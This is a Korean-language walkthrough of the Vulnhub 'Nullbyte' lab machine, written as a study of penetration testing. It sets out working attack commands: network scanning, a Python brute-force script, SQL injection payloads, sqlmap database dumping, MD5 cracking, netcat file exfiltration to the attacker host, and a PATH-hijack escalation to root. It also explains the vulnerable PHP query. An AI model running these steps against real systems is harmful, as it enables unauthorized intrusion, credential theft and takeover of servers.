1. Nullbyte 서비스 침투
1.1 모의해킹 테스트 환경
SQL Injection 공격 사례가 포함된 취약점 환경이다.
2022 OWASP TOP 10 중 A3. Injections 항목에 포함되어 있는 취약점이다.
서버에 전달하는 파라미터 값을 검증하지 않아 공격자가 입력하는 공격 패턴에 의해 데이터베이스 정보가 외부에 노출되는 매우 심각한 취약점 중 하나이다.
데이터베이스 시스템의 권한까지 공격자에 의해 침투될 수 있다.
Vulnhub-Nullbyte
https://www.vulnhub.com/entry/nullbyte-1,126/
관리자 권한의 /root/proof.txt 파일의 내용을 획득하면 된다.
웹 서비스의 취약점을 도출하고, 관련 취약점을 연계해 내부 시스템 침투, 권한 상승을 한다면 해당 플래그 값을 획득할 수 있다.
1.2 공격 대상 IP 정보 탐색
공격자의 IP 주소를 이용해 대역에 있는 공격 대상의 IP 주소를 찾아야 한다.
sudo ip addr
표 1-1 IP 주소 확인 명령어
ifconfig
표 1-2 IP 주소 확인 명령어
공격자 IP 주소는 172.16.235.132, 서브넷 마스크는 255.255.255.0 이다.
공격자 IP 주소와 서브넷 마스크를 기반으로 nmap을 이용해 172.16.235.0/24 네트워크 탐색을 한다.
nmap -sn 172.16.235.0/24
표 1-3 nmap 네트워크 스캔 명령어
공격 대상 호스트 Nullbyte의 IP 주소는 172.16.235.131 임을 확인할 수 있다.
1.3 포트스캐닝을 이용한 서비스 정보 확인
공격 대상 호스트의 IP 주소를 바탕으로 정보 수집을 하기 위해 포트 스캐닝을 진행한다.
전체 포트스캐닝을 진행하고, 확인한 포트들을 상대로 더 자세히 알아보는 심층 포트스캐닝을 진행한다.
$ nmap -p- --max-retries 2 172.16.235.131
-p- : 모든 포트 지정
--max-retries 2 : 각 포트를 2번만 확인
표 1-4 nmap 전체 포트스캐닝 명령어
전체 포트스캐닝을 통해 공격 대상 호스트가 TCP port 80,111,777,45004를 열어놓고 있는 것을 확인할 수 있다.
$ nmap -p 80,111,777,45004 -sV -sC 172.16.235.131 -T4
-p : 특정 포트 지정
-sV : 각 포트의 네트워크 서비스와 버전 정보 출력
-sC : 기본 스크립트 실행
-T4 : 가장 빠른 속도 옵션
표 1-5 nmap 심층 포트스캐닝 명령어
심층 포트스캐닝 결과 포트 80에서 아파치 웹서버, 111에서 RPC(Remote Procedure Call), 777에서 SSH 프로그램이 실행되고 있음을 확인할 수 있다.
웹서버가 정보 수집에 용이하므로 웹서버에 접근해 탐색을 진행한다.
1.4 자동 웹 진단 도구를 이용한 탐색
nikto는 전반적인 웹 서버 취약점을, dirb는 디렉터리 및 컨텐츠를 찾는데 사용된다.
$ nikto -h <http://172.16.235.131>
-h : 호스트 지정
표 1-6 nikto 취약점 자동탐색 명령어
phpMyAdmin 페이지를 바탕으로 웹서버가 PHP를 사용하고 있고, XSS 취약점이 발생한다는 것을 알 수 있다.
$ dirb <http://172.16.235.131> /usr/share/wordlists/dirb/big.txt
<http://172.16.235.131> : 타겟의 URL
/usr/share/wordlists/dirb/big.txt : 사전 공격에 사용될 사전 파일
표 1-7 dirb 스캔 명령어
dirb 도구에는 여러 사전 파일(wordlists)이 존재하며, 많은 문자 패턴이 포함된 big.txt 파일을 이용하여 검사한다.
phpMyAdmin, uploads 페이지와 몇몇 페이지를 제외한 나머지는 접근이 불가하다.
1.5 수동 탐색
자동화 도구로 찾은 정보가 별로 없기 때문에 수동 탐색을 진행한다.
웹서버의 첫페이지로 가면 그림 1-7과 같은 이미지 파일과 글이 나온다.
이미지를 다운받아 숨겨진 정보가 있는지 확인한다.
1.6 Exiftool
Exiftool은 이미지, 오디오, 비디오, PDF 파일의 메타데이터를 읽고, 쓰고, 편집할 수 있는 응용 프로그램이다.
메타데이터란 데이터에 대한 데이터이다.
ex) 사진 : 촬영 시간, 플래시 사용 여부, 사진 크기, GPS 좌표 등
sudo apt-get update -y
sudo apt-get install -y exiftool
표 1-8 Exiftool 설치 명령어
exiftool main.gif
표 1-9 exiftool 사용 명령어
그림 1-8과 같이 이미지에 대한 메타데이터들이 출력되며, Comment에서 의심스러운 문자열을 확인할 수 있다.
웹서버에 문자열(kzMb5nVYJw)을 검색한 결과 그림 1-9와 같은 입력창을 확인할 수 있다.
또한 그림 1-10에서 mysql 데이터베이스와 연결되어 있지 않고, 복잡하지 않다는 힌트를 얻을 수 있다. 이 힌트를 바탕으로 사전 공격을 시도한다.
입력창에 key 값이 아닌 값이 입력된 경우 invalid key 에러 메시지가 반환된다.
이 점을 이용해서 파이썬 공격 스크립트를 작성한다.
사전 파일 공격에는 /usr/share/wordlists/rockyou.txt 이용한다.
import requests
url='<http://172.16.235.131/kzMb5nVYJw/>'
dic=open('/usr/share/wordlists/rockyou.txt','r',encoding='utf-8',errors='ignore').readlines()
for line in dic:
word=line.strip()
res=requests.post(url, data={'key':word})
if "invalid key" in res.text:
print(f"[-] Failed : [{word}]")
else:
print(f"[+] Cracked : [{word}]")
break
표 1-10 key 사전 공격 파이썬 스크립트
해당 코드를 실행하면 elite라는 단어가 입력 됐을 때 로그인에 성공한다.
로그인에 성공하면 사용자 이름을 검색해주는 서비스가 나온다.
검색을 하면 420search.php 페이지의 usrtosearch 파라미터로 값을 전달하는 것을 볼 수 있다.
1.7 SQL Injection 취약점 확인
그림 1-13의 입력창은 사용자 이름을 데이터베이스에서 검색하여 보여주는 것으로 추측된다.
싱글쿼터(’)나 더블쿼터(”)를 입력해서 오류 발생 여부를 확인할 수 있다.
데이터베이스가 MySQL이며, 인젝션과 관련된 에러가 반환됨을 확인할 수 있다.
2. 취약점 공격
2.1 SQL Injection
SQL Injection은 사용자가 클라이언트의 입력값을 조작하여 서버의 SQL문을 변경하는 공격 방법이다. 백엔드 데이터베이스를 사용하는 웹 애플리케이션의 경우 사용자의 입력값을 바탕으로 데이터베이스와 교류를 하는데, 이 때 SQL 쿼리문을 이용한다.
이 쿼리문에 사용자 입력값으로 직/간접적 영향을 줄 수 있을 때 SQL Injection이 성립된다.
%
'" or 1=1 --
표 2-1 SQL Injection 페이로드
2.2 SQL Injection - SQLmap
SQLmap은 SQL Injection과 관련된 취약점을 발견하고 자동으로 공격하기 위한 오픈소스 도구이다.
Error-based, Union-based, Blind SQLi, Time-based 등 다양한 기법의 SQL Injection 공격 실행이 가능하며, MySQL, MSSQL, SQLite 등 다양한 데이터베이스 시스템을 지원한다.
웹 애플리케이션 방화벽(WAF)을 우회하는 기능도 갖추고 있다.
- 주의사항
실제 모의 침투 테스트에서도 사용되지만, 사전 계약 단계에서 정한 계약 수칙에 따라 사용해야 한다.
$ sqlmap -u "<http://172.16.235.131/kzMb5nVYJw/420search.php?usrtosearch=test>" -p usrtosearch --dbms MySQL --batch
-u : 타겟 URL
-p : 인젝션이 일어나는 파라미터 이름
--dbms : 타겟 데이터베이스 시스템 지정
--batch : 사용자에게 의견 물어보지 않고 자동으로 실행
표 2-2 SQLmap-페이로드 확인
—batch 옵션은 실제 모의 침투 테스트에서 사용하면 위험한 옵션이므로 주의해야 한다.
SQLmap 실행이 끝나면 그림 2-2와 같이 총 4가지 기법을 이용한 공격 방식을 확인할 수 있다.
$ sqlmap -u "<http://172.16.235.131/kzMb5nVYJw/420search.php?usrtosearch=test>" -p usrtosearch --dbms MySQL --dbs
--dbs : 데이터베이스 나열
표 2-3 SQLmap 데이터베이스 나열 명령어
기본 데이터베이스를 제외하고 seth 데이터베이스를 지정하고 테이블들의 이름을 나열한다.
sqlmap -u "<http://172.16.235.131/kzMb5nVYJw/420search.php?usrtosearch=test>" -p usrtosearch --dbms MySQL -D seth --tables
표 2-4 SQLmap 테이블 나열 명령어
테이블은 users 테이블 한 개 존재하므로, users 테이블을 지정하고 안에 있는 데이터를 모두 덤프한다.
sqlmap -u "<http://172.16.235.131/kzMb5nVYJw/420search.php?usrtosearch=test>" -p usrtosearch --dbms MySQL -D seth -T users --dump --batch
표 2-5 SQLmap 테이블 데이터 덤프
사용자 이름과 비밀번호가 모두 존재하는 사용자는 ramses 밖에 없다.
비밀번호는 평문이 아닌 base64 인코딩이 되어 있으므로 디코딩을 진행한다.
디코딩을 하면 c6d6bd7ebf806f43c76acc3681703b81 MD5 해시가 나온다.
JohntheRipper 도구로 해시 크래킹을 진행한다.
- JohntheRipper
오픈소스 비밀번호 복원 프로그램
타겟 해시를 바탕으로 같은 해시값을 찾아내는 해시 트래킹에 특화되어 있다.
리눅스 기반의 /etc/passwd, /etc/shadow, 윈도우의 기반의 NTLM 해시 등 암호를 찾는 데 많이 쓰인다.
CPU를 사용한다.
echo "c6d6bd7ebf806f43c76acc3681703b81" > crack.hash
john --show --format="Raw-MD5" crack.hash
표 2-6 JohntheRipper 해시 크래킹 명령어
그림 2-7과 같이 비밀번호 omega를 확인할 수 있고, SSH로 접속할 수 있다.
ssh ramses@172.16.235.131 -p 777
표 2-7 SSH 접속 명령어
2.3 소스코드 분석
/var/www/html/kzMb5nVYJw/420search.php 파일을 출력해 SQL Injection이 일어나는 위치를 확인할 수 있다.
cat /var/www/html/kzMb5nVYJw/420search.php
표 2-8 420search.php 파일 출력 명령어
$sql = 'SELECT id, user, position FROM users WHERE user LIKE "%'.$word.'%" ';
표 2-9 SQL Injection 취약점
사용자의 요청으로부터 usrtosearch 파라미터 값을 파싱해 $word 변수에 저장한다.
$word 변수를 SQL 쿼리문에 넣어 사용한다.
첫번째 문제점은 사용자의 입력값을 파싱하는 과정에서 필터링, 이스케이핑 등의 입력 검증을 하지 않는다.
두번째 문제점은 데이터베이스와 교류할 때 직접적인 SQL 쿼리문을 작성하는 것이다.
1. SELECT id, user, position FROM users WHERE user LIKE "%''" or 1=1 -- -'%" ';
2. SELECT id, user, position FROM users WHERE user LIKE "%''" or 1=1;
3. SELECT id, user, position FROM users WHERE user LIKE "%" or 1=1;
표 2-10 SQL injection 페이로드
SQL Injection 페이로드를 집어넣으면 1번과 같은 SQL 쿼리문이 작성된다.
주석 뒤의 부분은 무시되고, 2번과 같은 쿼리문이 작성된다.
마지막으로 작은 따옴표 2개는 비어있는 문자열이기 때문에 무시되고, where문이 항상 참이니, Users 테이블의 모든 사용자가 반환된다.
정규표현식 ‘%’ 만으로도 모든 사용자가 반환된다.
3. 권한 상승
3.1 정보 수집
bash_history 파일은 사용자의 bash 쉘 세션 중 입력된 명령어들을 로그해놓는 파일이다.
침투 전 호스트에서 활동하는 사용자가 어떤 명령어들을 사용했는지 확인할 수 있다.
특정 명령어 혹은 스크립트를 사용할 때 비밀번호를 명령어와 같이 사용하는 경우 평문 비밀번호가 .bash_history 파일에 남아있을 수 있으니 유의해야 한다.
cat /home/ramses/.bash_history
표 3-1 .bash_history 파일 출력
그림 3-1에서처럼 ramses 사용자는 /var/www/backup 디렉터리의 procwatch 프로그램을 실행한 적이 있다.
또한, eric 사용자로 로그인한 기록이 있다.
파일 권한은 그림 3-2와 같다.
파일 권한에서 r은 읽기, w는 쓰기, x는 실행, s는 SetUID 권한이다.
파일 권한은 파일의 소유자, 그룹, 그 외 사용자들에게 적용된다.
SetUID는 특정 프로그램을 파일 소유자의 권한으로 실행해주는 권한이다.
현재 사용자인 ramses가 procwatch 파일을 실행하면, 파일의 소유자인 root 사용자의 권한으로 실행된다.
- SUID
find / -perm -u=s -type f 2>/dev/null
cd /var/www/backup
./procwatch
표 3-2 procwatch 프로그램 실행
프로그램을 실행하면 그림 3-3 같은 화면이 출력된다.
# 공격자 호스트
$ sudo nc -lvnp 4444 > procwatch.elf
-l(listen mode) : 연결할 수 있도록 요청 듣고 있는 옵션
-v(verbose) : 상세정보를 보여주는 옵션
-p(port) : 4444 포트
-n : 호스트 네임과 포트를 숫자로만 입력
# nullbyte 호스트
cat /var/www/backup/procwatch | nc 172.16.235.132 4444
표 3-3 procwatch 파일 전송
공격자 호스트에서 netcat을 이용해 포트를 연 뒤 모든 트래픽을 procwatch.elf 파일로 리다이렉트 시켜놓는다.
그 후, SSH로 접속했던 Nullbyte 호스트에서 procwatch 파일을 출력한 뒤 파이프와 netcat을 통해 공격자 호스트에 전송한다.
공격자가 파일을 받으면 netcat 세션을 종료하고, 그림 3-5와 같이 procwatch.elf가 복사된 것을 확인할 수 있다.
3.2 GDB를 활용한 디버깅
file 명령어를 통해 procwatch 프로그램은 리눅스 응용 프로그램 포맷인 ELF 32-bit 프로그램인 것을 확인할 수 있다.
GNU Debugger(gdb) 프로그램을 이용하여 디버깅을 한다.
sudo apt-get update -y
sudo apt-get install -y gdb
표 3-4 GDB 설치 명령어
sudo gdb ./procwatch.elf
표 3-5 GDB로 procwatch 프로그램 실행 명령어
gdb 명령어들을 사용해 어떤 프로그램이 실행되는지 확인할 수 있다.
(gdb) set disassembly-flavor intel
(gdb) disas main
표 3-6 GDB 디버깅 설정 명령어
표 3-6와 같이 어셈블리어를 보기 쉽게 intel 방식으로 바꾸고, main() 함수를 디스어셈블해서 보여준다.
특정 문자열이 eax 레지스터에 저장된 후, eax 레지스터가 스택으로 push 되는 것을 확인할 수 있다.
그 뒤, system() 함수가 실행된다.
리눅스 메뉴얼인 manpage를 이용하여 함수 동작을 확인할 수 있다.
sudo apt-get install -y manpages-dev
man system
표 3-7 manpage 설치 및 사용 명령어
system() 함수를 검색하면 그림 3-8과 같은 설명이 나온다.
system() 라이브러리 함수는 fork() 함수를 이용해 execl() 함수를 실행하는 child process를 만든다.
child process 안의 execl() 함수는 /bin/sh 쉘 프로그램을 실행한 후 그 안에서 파라미터로 넣어진 쉘 명령어를 실행한다.
따라서 system() 함수를 사용하면, execl() 함수가 쉘(/bin/sh)을 만들어낸 뒤, system() 함수 파라미터로 들어간 명령어가 execl을 통해 쉘 프로세스 안에서 실행된다.
(gdb) b *0x0804841f
(gdb) run
표 3-8 GDB 브레이크 포인트 설정 명령어
확실하게 알아보기 위해 표 3-8와 같이 브레이크 포인트를 건뒤, gdb 안에서 procwatch.elf 파일을 실행시킨다.
(gdb) x/2c $eax
표 3-9 GDB eax 레지스터 확인 명령어
그림 3-10에서 eax 레지스터를 확인해보면 ps 문자열이 들어가있는 것을 확인할 수 있다.
procwatch 프로그램은 system(”ps”)를 실행하는 프로그램이다.
system 함수는 /bin/sh 쉘 프로그램을 child program으로 시작한 뒤, ps 명령어를 실행한다. 그림 3-3과 동일하게 동작하는 것을 알 수 있다.
3.3 환경변수를 이용한 권한 상승
procwatch 프로그램은 쉘에서 “ps” 프로그램을 실행하는 것과 동일하다.
권한 상승을 위해 환경변수를 이용해 ps 명령어 대신 쉘 파일을 실행할 수 있도록 한다.
ln -s /bin/sh ps
export PATH=.:$PATH
표 3-10 환경변수 설정 명령어
- ln
하드 링크 또는 심볼릭 링크를 생성하는 명령어이다.
명령 실행 시 옵션 없이 사용하면 하드 링크가 생성되고, -s 옵션을 사용하면 심볼릭 링크가 생성된다.
ex) ln test.txt t : test.txt 파일의 하드링크 파일인 t를 현재 디렉터리에 생성
ex) ln -s test t : test라는 파일의 심볼릭 링크 파일인 t를 현재 디렉터리에 생성
ex) ln -s /etc/xinetd.d x : /etc/xinetd.d의 심볼릭 링크 파일인 x를 현재 디렉터리에 생성
/bin/sh 프로그램의 심볼릭 링크인 ps 파일을 만든 뒤, PATH 환경변수에 현재 디렉터리인 /var/www/backup 디렉터리를 지정해준다.
이렇게 설정하면 ps 명령어를 쉘을 통해 실행할 때 PATH 환경변수 안의 디렉터리들 중 가장 먼저 있는 /var/www/backup 디렉터리 안의 ps 프로그램이 실행된다.
procwatch 프로그램이 system(”ps”)를 실행하면, /bin/sh 프로그램이 실행되고 그 쉘 안에서 ps 프로그램이 실행된다.
새롭게 만들어진 쉘 안의 PATH 환경변수는 이미 표 3-10와 같이 바뀌었기 때문에 /var/www/backup/ps 프로그램이 실행된다.
/var/www/backup/ps는 표 3-10에서 만든 것처럼 /bin/sh가 실행되는 심볼릭 링크이다.
결과적으로 procwatch 프로그램을 실행하면 setuid로 인해 root 사용자 권한의 /bin/sh 쉘이 실행된다.
- EUID(Effective User ID)
setuid 권한이 설정된 실행 파일에 의해 변경되며, 일시적으로 다른 계정의 UID를 저장해서 사용할 수 있도록 해준다.
즉, 일시적으로 파일 소유자의 권한을 얻게 되는 것이다.
그림 3-10와 같이 setuid 덕분에 euid가 root인 쉘을 생성할 수 있다.
/root/proof.txt 파일을 확인할 수 있다.
4. 결과
/root/proof.txt 파일 확인이 가능하다.